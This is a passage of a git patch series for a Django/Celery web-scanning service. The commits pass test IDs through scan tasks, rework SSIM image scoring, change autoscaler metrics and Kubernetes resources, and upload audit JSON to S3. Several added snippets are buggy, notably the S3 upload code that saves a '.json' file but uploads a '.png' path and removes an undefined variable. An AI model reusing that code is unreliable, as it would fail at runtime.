+        run_html_and_logs_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
     if 'lighthouse' in scan.type or 'full' in scan.type:
-        run_lighthouse_bg.delay(scan_id=scan.id)
+        run_lighthouse_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
     if 'yellowlab' in scan.type or 'full' in scan.type:
-        run_yellowlab_bg.delay(scan_id=scan.id)
+        run_yellowlab_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
     if 'vrt' in scan.type or 'full' in scan.type:
-        run_vrt_bg.delay(scan_id=scan.id)
+        run_vrt_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
 
     logger.info('created new Scan of Page')
 
@@ -206,23 +209,23 @@ def create_scan_bg(self, *args, **kwargs):
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_html_and_logs_bg(self, scan_id=None, *args, **kwargs):
-    run_html_and_logs_task(scan_id)
+def run_html_and_logs_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+    _html_and_logs(scan_id, test_id, automation_id)
     logger.info('ran html & logs component')
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_vrt_bg(self, scan_id=None, *args, **kwargs):
-    run_vrt_task(scan_id)
+def run_vrt_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+    _vrt(scan_id, test_id, automation_id)
     logger.info('ran vrt component')
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_lighthouse_bg(self, scan_id=None, *args, **kwargs):
-    run_lighthouse_task(scan_id)
+def run_lighthouse_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+    _lighthouse(scan_id, test_id, automation_id)
     logger.info('ran lighthouse component')
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
-    run_yellowlab_task(scan_id)
+def run_yellowlab_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+    _yellowlab(scan_id, test_id, automation_id)
     logger.info('ran yellowlab component')
 
 
@@ -301,6 +304,8 @@ def _create_test(
         )
         scan_page_bg.delay(
             scan_id=post_scan.id, 
+            test_id=created_test.id,
+            automation_id=automation_id,
             configs=configs,
         )
         
@@ -317,7 +322,11 @@ def _create_test(
     created_test.save()
     
     # monitor post_scan and run test after completion
-    check_scan_for_test.delay(test_id=created_test.id, automation_id=automation_id)
+    # check_scan_for_test.delay(test_id=created_test.id, automation_id=automation_id)
+
+    # check if pre and post scan are complete and start test if True
+    if pre_scan.time_completed is not None and post_scan.time_completed is not None:
+        run_test.delay(test_id=created_test.id, automation_id=automation_id)
     
     logger.info('Began Scan/Test process')
 
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index a2cf4247..d058384c 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -15,7 +15,7 @@ async def driver_init(
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
-            '--force-device-scale-factor=1',
+            '--force-device-scale-factor=0.5',
             f'--window-size={window_size}',
         ],
         'defaultViewport': {
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 9b041471..96b8abda 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,7 +38,7 @@ def driver_init(
     options.add_argument("start-maximized")
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
-    options.add_argument("--force-device-scale-factor=1")
+    options.add_argument("--force-device-scale-factor=0.5")
     options.add_argument("--window-size=%s" % window_size) 
 
     if device == 'mobile':
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index da7b3787..a03fee43 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1190,7 +1190,7 @@ def test(self, test, index=None):
                 # build two new images with differences highlighted
                 def highlight_diffs(pre_img_path, post_img_path, index):
                     '''
-                        Returns -> two new images with highlights
+                        Returns -> two new images with highlights & float(ssim_score)
                     '''
                     # Load the images
                     image1 = cv2.imread(pre_img_path)
@@ -1201,7 +1201,7 @@ def highlight_diffs(pre_img_path, post_img_path, index):
                     gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)
 
                     # Compute the SSIM map
-                    (ssim_map, diff) = structural_similarity(gray1, gray2, full=True)
+                    (ssim_score, diff) = structural_similarity(gray1, gray2, full=True)
 
                     # Highlight the differences
                     diff = (diff * 255).astype("uint8")
@@ -1224,8 +1224,13 @@ def highlight_diffs(pre_img_path, post_img_path, index):
                     cv2.imwrite(temp_root + f"/{img_1_id}.png", image1)
                     cv2.imwrite(temp_root + f"/{img_2_id}.png", image2)                    
                     img_objs = save_images(img_1_id, img_2_id, index)
+                    
+                    data = {
+                        "img_objs": img_objs,
+                        "ssim_score": ssim_score
+                    }
 
-                    return img_objs
+                    return data
 
 
                 # saving old images to new test.id path
@@ -1310,10 +1315,13 @@ def cv2_score(pre_img_array, post_img_array):
 
                 # test images
                 try:
-                    # ssim scoring
-                    img_score_tupple = ssim(pre_img_array, post_img_array)
-                    img_score_list = list(img_score_tupple)
-                    ssim_img_score = statistics.fmean(img_score_list) * 100
+                    # generating new highlighted images and score via ssim
+                    ssim_results = highlight_diffs(pre_img_path, post_img_path, i)
+                    diff_imgs = ssim_results['img_objs']
+                    
+                    # img_score_tupple = ssim(pre_img_array, post_img_array)
+                    # img_score_list = list(img_score_tupple)  statistics.fmean(img_score_list)
+                    ssim_img_score =  ssim_results['ssim_score'] * 100
 
                     # pillow scoring
                     pil_img_score = pil_score(pre_img, post_img)
@@ -1324,9 +1332,6 @@ def cv2_score(pre_img_array, post_img_array):
                     # weighted average
                     img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8
 
-                    # generating new highlighted images
-                    diff_imgs = highlight_diffs(pre_img_path, post_img_path, i)
-
                     # saving old images to test.id path
                     old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i)
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index bbd0746c..b89976c2 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -2,6 +2,8 @@
 from .driver_s import driver_wait
 from .driver_p import get_data
 from ..models import *
+from .automations import automation
+from .tester import Tester
 from django.forms.models import model_to_dict
 from django.core.serializers.json import DjangoJSONEncoder
 from .lighthouse import Lighthouse
@@ -330,7 +332,7 @@ def update_page_info(scan):
 
 
 
-def check_scan_completion(scan):
+def check_scan_completion(scan, test_id, automation_id):
     """
         Method that checks if the scan has finished all 
         components. If so, method also updates Scan, Site, 
@@ -369,6 +371,14 @@ def check_scan_completion(scan):
         scan.time_completed = time_completed
         scan.save()
 
+        # start Test if test_id present
+        if test_id is not None:
+            print('\n-\n---------------\nScan Complete\nStarting Test...\n---------------\n')
+            test = Test.objects.get(id=test_id)
+            Tester(test=test).run_test()
+            if automation_id:
+                automation(automation_id, test.id)
+
     return scan
 
 
@@ -376,7 +386,7 @@ def check_scan_completion(scan):
 
 
 
-def _html_and_logs(scan_id):
+def _html_and_logs(scan_id, test_id, automation_id):
     """
         Method to run the 'html' and 'logs' component of the scan 
         allowing for multi-threading.
@@ -427,7 +437,7 @@ def _html_and_logs(scan_id):
 
 
     # checking if scan is done
-    scan = check_scan_completion(scan)
+    scan = check_scan_completion(scan, test_id, automation_id)
 
     return scan
 
@@ -435,7 +445,7 @@ def _html_and_logs(scan_id):
 
 
 
-def _vrt(scan_id):
+def _vrt(scan_id, test_id, automation_id):
     """
         Method to run the visual regression (vrt) component of the scan 
         allowing for multi-threading.
@@ -461,7 +471,7 @@ def _vrt(scan_id):
         print(e)
 
     # checking if scan is done
-    scan = check_scan_completion(scan)
+    scan = check_scan_completion(scan, test_id, automation_id)
 
     return scan
 
@@ -469,7 +479,7 @@ def _vrt(scan_id):
 
 
 
-def _lighthouse(scan_id):
+def _lighthouse(scan_id, test_id, automation_id):
     """
         Method to run the lighthouse component of the scan 
         allowing for multi-threading.
@@ -490,7 +500,7 @@ def _lighthouse(scan_id):
         print(e)
 
     # checking if scan is done
-    scan = check_scan_completion(scan)
+    scan = check_scan_completion(scan, test_id, automation_id)
 
     return scan
 
@@ -499,7 +509,7 @@ def _lighthouse(scan_id):
 
 
 
-def _yellowlab(scan_id):
+def _yellowlab(scan_id, test_id, automation_id):
     """
         Method to run the yellowlab component of the scan 
         allowing for multi-threading.
@@ -520,6 +530,6 @@ def _yellowlab(scan_id):
         print(e)
 
     # checking if scan is done
-    scan = check_scan_completion(scan)
+    scan = check_scan_completion(scan, test_id, automation_id)
 
     return scan
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2e7ddccb..add9d0a1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2843,7 +2843,7 @@ def get_site_stats(request):
 
 
 
-def get_celery_task_length(request):
+def get_celery_metrics(request):
 
     # Inspect all nodes.
     i = celery.app.control.inspect()
@@ -2852,17 +2852,30 @@ def get_celery_task_length(request):
     # Active tasks
     active = i.active()
     
-    # init task counter
-    all_tasks = 0
+    # init task & replica counters
+    # & ratio 
+    num_tasks = 0
+    num_replicas = 0
+    ratio = 0
 
     # loop through all reserved & active tasks and
     # add length of array (tasks) to total
     for replica in reserved:
-        all_tasks += len(reserved[replica])
+        num_tasks += len(reserved[replica])
+        num_replicas += 1
     for replica in active:
-        all_tasks += len(active[replica])
+        num_tasks += len(active[replica])
+        num_replicas += 1
+
+    # build metrics
+    if num_replicas > 0:
+        ratio = num_tasks / num_replicas
 
     # return response
-    data = {"all_tasks": str(all_tasks)}
+    data = {
+        "num_tasks": num_tasks,
+        "num_replicas": num_replicas,
+        "ratio": ratio
+    }
     response = Response(data, status=status.HTTP_200_OK)
     return response
\ No newline at end of file
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index ce155744..452755e7 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -48,28 +48,6 @@ def create_scan_task(
 
 
 
-
-
-def run_html_and_logs_task(scan_id=None):
-    scan = _html_and_logs(scan_id)
-    return scan
-
-def run_vrt_task(scan_id=None):
-    scan = _vrt(scan_id)
-    return scan
-
-def run_lighthouse_task(scan_id=None):
-    scan = _lighthouse(scan_id)
-    return scan
-
-def run_yellowlab_task(scan_id=None):
-    scan = _yellowlab(scan_id)
-    return scan
-
-
-
-
-
 def create_test_task(
         test_id=None, 
         page_id=None,
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index fbfb7322..de240a69 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -45,5 +45,5 @@
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
     path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'),
     path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'),
-    path('metrics/celery/tasks', views.CeleryTasks.as_view(), name='celery-tasks'),
+    path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index c978522c..ad8d6096 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -641,12 +641,12 @@ def post(self, request):
 
 
 
-class CeleryTasks(APIView):
+class CeleryMetrics(APIView):
     authentication_classes = []
     permission_classes = (AllowAny,)
     http_method_names = ['get',]
     
     def get(self, request):
-        response = get_celery_task_length(request)
+        response = get_celery_metrics(request)
         return response
 
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 0d1cbc3e..9121994e 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -6,15 +6,15 @@ spec:
   scaleTargetRef:
     name: celery-deployment
   cooldownPeriod:  4000
-  pollingInterval: 10
+  pollingInterval: 15
   minReplicaCount: 2
   maxReplicaCount: 15
   triggers:
     - type: metrics-api
       metadata:
         targetValue: "5"
-        url: "https://api.scanerr.io/v1/ops/metrics/celery/tasks"
-        valueLocation: "all_tasks"
+        url: "https://api.scanerr.io/v1/ops/metrics/celery"
+        valueLocation: "ratio"
 
 
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 19474de8..61d95935 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -21,7 +21,7 @@ spec:
         - name: celery
           image: <IMAGE> # landonr/scanerr-server:7837ab3 # 
           imagePullPolicy: Always
-          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 2"]
+          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:
             - configMapRef:
                 name: app-configs
@@ -32,11 +32,11 @@ spec:
                   fieldPath: metadata.name
           resources:
             limits:
-              cpu: "2"
+              cpu: "1"
               memory: "4Gi"
             requests:
-              cpu: "2"
-              memory: "2Gi"
+              cpu: ".5"
+              memory: "1Gi"
           lifecycle:
             preStop:
               exec:

From 5808079e70e7747c461559aaa0781737807cb067 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 16:16:40 -0500
Subject: [PATCH 0090/1099] fixing some bugs

---
 app/api/v1/ops/services.py   | 1 -
 k8s/prod/app-deployment.yaml | 1 +
 2 files changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index add9d0a1..af5a1621 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2865,7 +2865,6 @@ def get_celery_metrics(request):
         num_replicas += 1
     for replica in active:
         num_tasks += len(active[replica])
-        num_replicas += 1
 
     # build metrics
     if num_replicas > 0:
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 17d8ccd1..6e2e9b51 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -57,6 +57,7 @@ kind: Service
 metadata:
   name: app-service
 spec:
+  externalTrafficPolicy: Cluster
   selector:
     app:  app-deployment
   ports:

From bc4581904d94f47e7c754cacb8c14d1ce9752582 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 16:19:20 -0500
Subject: [PATCH 0091/1099] cleaning things up

---
 k8s/prod/celery-autoscaler.yaml             | 59 +--------------------
 k8s/prod/old_configs/celery-autoscaler.yaml | 43 +++++++++++++++
 2 files changed, 45 insertions(+), 57 deletions(-)
 create mode 100644 k8s/prod/old_configs/celery-autoscaler.yaml

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 9121994e..c657599e 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -12,61 +12,6 @@ spec:
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "5"
+        targetValue: "3"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
-        valueLocation: "ratio"
-
-
-
-
-
-
-
-
-
-# apiVersion: keda.sh/v1alpha1
-# kind: ScaledObject
-# metadata:
-#   name: celery-scaler
-# spec:
-#   scaleTargetRef:
-#     name: celery-deployment
-#   pollingInterval: 3
-#   minReplicaCount: 2
-#   maxReplicaCount: 15
-#   triggers:
-#     - type: redis
-#       metadata:
-#         address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
-#         listName: celery # Required
-#         listLength: "5" # Required
-#         activationListLength: "5" # optional
-#         enableTLS: "false" # optional
-#         unsafeSsl: "false" # optional
-#         databaseIndex: "0" # optional
-
-
-
-
-# apiVersion: keda.sh/v1alpha1
-# kind: ScaledObject
-# metadata:
-#   name: celery-scaler
-# spec:
-#   scaleTargetRef:
-#     name: celery-deployment
-#   cooldownPeriod:  4000
-#   pollingInterval: 3
-#   minReplicaCount: 2
-#   maxReplicaCount: 15
-#   triggers:
-#   - type: rabbitmq
-#     metadata:
-#       host: amqp://rabbitmq.default.svc.cluster.local:5672 # rabbitmq.default.svc.cluster.local:5672 Optional. If not specified, it must be done by using TriggerAuthentication.
-#       mode: QueueLength # QueueLength or MessageRate
-#       value: "5" # message backlog or publish/sec. target per instance
-#       activationValue: "5" # Optional. Activation threshold
-#       queueName: celery
-
-
-
+        valueLocation: "ratio"
\ No newline at end of file
diff --git a/k8s/prod/old_configs/celery-autoscaler.yaml b/k8s/prod/old_configs/celery-autoscaler.yaml
new file mode 100644
index 00000000..a7e31e77
--- /dev/null
+++ b/k8s/prod/old_configs/celery-autoscaler.yaml
@@ -0,0 +1,43 @@
+# apiVersion: keda.sh/v1alpha1
+# kind: ScaledObject
+# metadata:
+#   name: celery-scaler
+# spec:
+#   scaleTargetRef:
+#     name: celery-deployment
+#   pollingInterval: 3
+#   minReplicaCount: 2
+#   maxReplicaCount: 15
+#   triggers:
+#     - type: redis
+#       metadata:
+#         address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
+#         listName: celery # Required
+#         listLength: "5" # Required
+#         activationListLength: "5" # optional
+#         enableTLS: "false" # optional
+#         unsafeSsl: "false" # optional
+#         databaseIndex: "0" # optional
+
+
+
+
+# apiVersion: keda.sh/v1alpha1
+# kind: ScaledObject
+# metadata:
+#   name: celery-scaler
+# spec:
+#   scaleTargetRef:
+#     name: celery-deployment
+#   cooldownPeriod:  4000
+#   pollingInterval: 3
+#   minReplicaCount: 2
+#   maxReplicaCount: 15
+#   triggers:
+#   - type: rabbitmq
+#     metadata:
+#       host: amqp://rabbitmq.default.svc.cluster.local:5672 # rabbitmq.default.svc.cluster.local:5672 Optional. If not specified, it must be done by using TriggerAuthentication.
+#       mode: QueueLength # QueueLength or MessageRate
+#       value: "5" # message backlog or publish/sec. target per instance
+#       activationValue: "5" # Optional. Activation threshold
+#       queueName: celery
\ No newline at end of file

From cfb969ca4edda0b032d58f23d147c7e2fbe7ab10 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 16:27:15 -0500
Subject: [PATCH 0092/1099] removed LB config

---
 k8s/prod/app-deployment.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 6e2e9b51..17d8ccd1 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -57,7 +57,6 @@ kind: Service
 metadata:
   name: app-service
 spec:
-  externalTrafficPolicy: Cluster
   selector:
     app:  app-deployment
   ports:

From f484cf5578ee24fdd6ddaf7548f3ce303ecfa2ab Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 17:04:07 -0500
Subject: [PATCH 0093/1099] cleaning things up

---
 k8s/prod/app-deployment.yaml | 6 +++++-
 k8s/prod/app-ingress.yaml    | 2 +-
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 17d8ccd1..fd67a2dd 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:1e6dca5 # 
+          image: <IMAGE> # landonr/scanerr-server:9e5b01f # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -56,7 +56,11 @@ apiVersion: v1
 kind: Service
 metadata:
   name: app-service
+  labels:
+    service: app
 spec:
+  type: NodePort
+  externalTrafficPolicy: Local
   selector:
     app:  app-deployment
   ports:
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index 3e788c57..a44b91d4 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -1,10 +1,10 @@
 apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
+  name: app-ingress
   ## ensure below section is commented out on first creation ##
   # annotations:
   #   cert-manager.io/cluster-issuer: letsencrypt-nginx     
-  name: app-ingress
 spec:
   ## ensure below section is comented out on first creation ##
   # tls:

From 020cf73e4eb6089a99f8e5271865e8409cace648 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 18:50:13 -0500
Subject: [PATCH 0094/1099] added mem optmization & size err handling

---
 app/api/utils/image.py | 50 ++++++++++++++++++++++++++++--------------
 1 file changed, 34 insertions(+), 16 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index a03fee43..4b71df31 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1129,8 +1129,6 @@ def test(self, test, index=None):
             - Structral Similarity Index (ssim)
             - PIL ImageChop Differences, Ratio
             - cv2 ORB Brute-force Matcher, Ratio
-
-        
         """
 
         # setup boto3 configurations
@@ -1165,11 +1163,6 @@ def test(self, test, index=None):
             with open(pre_img_path, 'wb') as data:
                 s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
             
-            # open with PIL Image library
-            pre_img = I.open(pre_img_path)
-            # convert to array
-            pre_img_array = numpy.array(pre_img)
-
             # getting post_scan image
             try:
                 post_img_obj = test.post_scan.images[i]
@@ -1181,10 +1174,24 @@ def test(self, test, index=None):
                 with open(post_img_path, 'wb') as data:
                     s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
                 
-                # open with PIL Image library
+                # open images with PIL Image library
                 post_img = I.open(post_img_path)
-                # convert to array
-                post_img_array = numpy.array(post_img)
+                pre_img = I.open(pre_img_path)
+                
+                # check and reformat image sizes if necessary
+                pre_img_w, pre_img_h = pre_img.size
+                post_img_w, post_img_h = post_img.size
+
+                # pre_img is longer
+                if pre_img_h > post_img_h:
+                    new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h))
+                    new_pre_img.save(pre_img_path, quality=100)
+                    pre_img = I.open(pre_img_path)
+                # post_img is longer
+                if post_img_h > pre_img_h:
+                    post_img = post_img.crop((0, 0, post_img_w, pre_img_h))
+                    new_post_img.save(post_img_path, quality=100)
+                    new_post_img = I.open(post_img_path)
 
 
                 # build two new images with differences highlighted
@@ -1284,10 +1291,14 @@ def pil_score(pre_img, post_img):
 
 
                 # test with cv2
-                def cv2_score(pre_img_array, post_img_array):
+                def cv2_score(pre_img, post_img):
                     try:
                         orb = cv2.ORB_create()
 
+                        # convert to array
+                        pre_img_array = numpy.array(pre_img)
+                        post_img_array = numpy.array(post_img)
+
                         # detect keypoints and descriptors
                         kp_a, desc_a = orb.detectAndCompute(pre_img_array, None)
                         kp_b, desc_b = orb.detectAndCompute(post_img_array, None)
@@ -1317,7 +1328,8 @@ def cv2_score(pre_img_array, post_img_array):
                 try:
                     # generating new highlighted images and score via ssim
                     ssim_results = highlight_diffs(pre_img_path, post_img_path, i)
-                    diff_imgs = ssim_results['img_objs']
+                    pre_img_diff = ssim_results['img_objs'][0]
+                    post_img_diff = ssim_results['img_objs'][1]
                     
                     # img_score_tupple = ssim(pre_img_array, post_img_array)
                     # img_score_list = list(img_score_tupple)  statistics.fmean(img_score_list)
@@ -1334,18 +1346,24 @@ def cv2_score(pre_img_array, post_img_array):
 
                     # saving old images to test.id path
                     old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i)
+                    pre_img = old_imgs[0]
+                    post_img = old_imgs[1]
 
                 except Exception as e:
                     print(e)
                     img_score = None
+                    pre_img = None
+                    post_img = None
+                    pre_img_diff = None
+                    post_img_diff = None
 
                 # create img test obj and add to array
                 img_test_obj = {
                     "index": i, 
-                    "pre_img": old_imgs[0],
-                    "post_img": old_imgs[1],
-                    "pre_img_diff": diff_imgs[0], 
-                    "post_img_diff": diff_imgs[1], 
+                    "pre_img": pre_img,
+                    "post_img": post_img,
+                    "pre_img_diff": pre_img_diff, 
+                    "post_img_diff": post_img_diff, 
                     "score": img_score,
                 }
 

From f59b4f5cf899271b472ccf9b0ad26eb8911596ab Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 18:50:50 -0500
Subject: [PATCH 0095/1099] changed audit payload to s3 bound json file

---
 app/api/utils/lighthouse.py | 31 +++++++++++++++++++++++++++++--
 app/api/utils/yellowlab.py  | 24 ++++++++++++++++++++++--
 2 files changed, 51 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index d3b32d8e..cde9113d 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,5 +1,6 @@
-import subprocess, json
+import subprocess, json, uuid, boto3, shutil
 from ..models import Site, Scan
+from scanerr import settings
 
 
 
@@ -39,6 +40,14 @@ def init_audit(self):
 
     def get_data(self):
 
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
         try:
             stdout_value = self.init_audit() 
             # decode bytes into string
@@ -116,10 +125,28 @@ def get_data(self):
                     "average": average_score
                 }
 
+                # save audits data as json file
+                file_id = uuid.uuid4()
+                with open(f'{file_id}.json', 'w') as fp:
+                    json.dump(audits, fp)
+                
+                # upload to s3 and return url
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.png')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.png'
+                root_path = settings.AWS_S3_URL_PATH
+                audits_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(audit_file, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                    )
+                # remove local copy
+                os.remove(image)
 
                 data = {
                     "scores": scores, 
-                    "audits": audits,
+                    "audits": audits_url,
                     "failed": False
                 }
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 2c0eb08f..1fb40e90 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,5 +1,6 @@
-import subprocess, json
+import subprocess, json, uuid, boto3, shutil
 from ..models import Site, Scan
+from scanerr import settings
 
 
 
@@ -93,9 +94,28 @@ def get_data(self):
                     "serverConfig": serverConfig_score,
                 }
 
+                # save audits data as json file
+                file_id = uuid.uuid4()
+                with open(f'{file_id}.json', 'w') as fp:
+                    json.dump(audits, fp)
+                
+                # upload to s3 and return url
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.png')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.png'
+                root_path = settings.AWS_S3_URL_PATH
+                audits_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(audit_file, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                    )
+                # remove local copy
+                os.remove(image)
+
                 data = {
                     "scores": scores, 
-                    "audits": audits,
+                    "audits": audits_url,
                     "failed": False
                 }
 

From 405d3456f11ef564dcaceffe51be3ca995ae2380 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:08:12 -0500
Subject: [PATCH 0096/1099] fixed a bug

---
 app/api/utils/image.py       | 4 ++--
 k8s/prod/app-deployment.yaml | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 4b71df31..6c2db378 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1189,9 +1189,9 @@ def test(self, test, index=None):
                     pre_img = I.open(pre_img_path)
                 # post_img is longer
                 if post_img_h > pre_img_h:
-                    post_img = post_img.crop((0, 0, post_img_w, pre_img_h))
+                    new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h))
                     new_post_img.save(post_img_path, quality=100)
-                    new_post_img = I.open(post_img_path)
+                    post_img = I.open(post_img_path)
 
 
                 # build two new images with differences highlighted
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index fd67a2dd..804a2680 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -60,7 +60,7 @@ metadata:
     service: app
 spec:
   type: NodePort
-  externalTrafficPolicy: Local
+  externalTrafficPolicy: Cluster
   selector:
     app:  app-deployment
   ports:

From 60e57ea07ecbc65f2e915270fa7e3baac689f8c7 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:11:12 -0500
Subject: [PATCH 0097/1099] fixed import bug

---
 app/api/utils/lighthouse.py | 2 +-
 app/api/utils/yellowlab.py  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index cde9113d..aedfb6d3 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,4 +1,4 @@
-import subprocess, json, uuid, boto3, shutil
+import subprocess, json, uuid, boto3, shutil, os
 from ..models import Site, Scan
 from scanerr import settings
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1fb40e90..3deda5df 100644
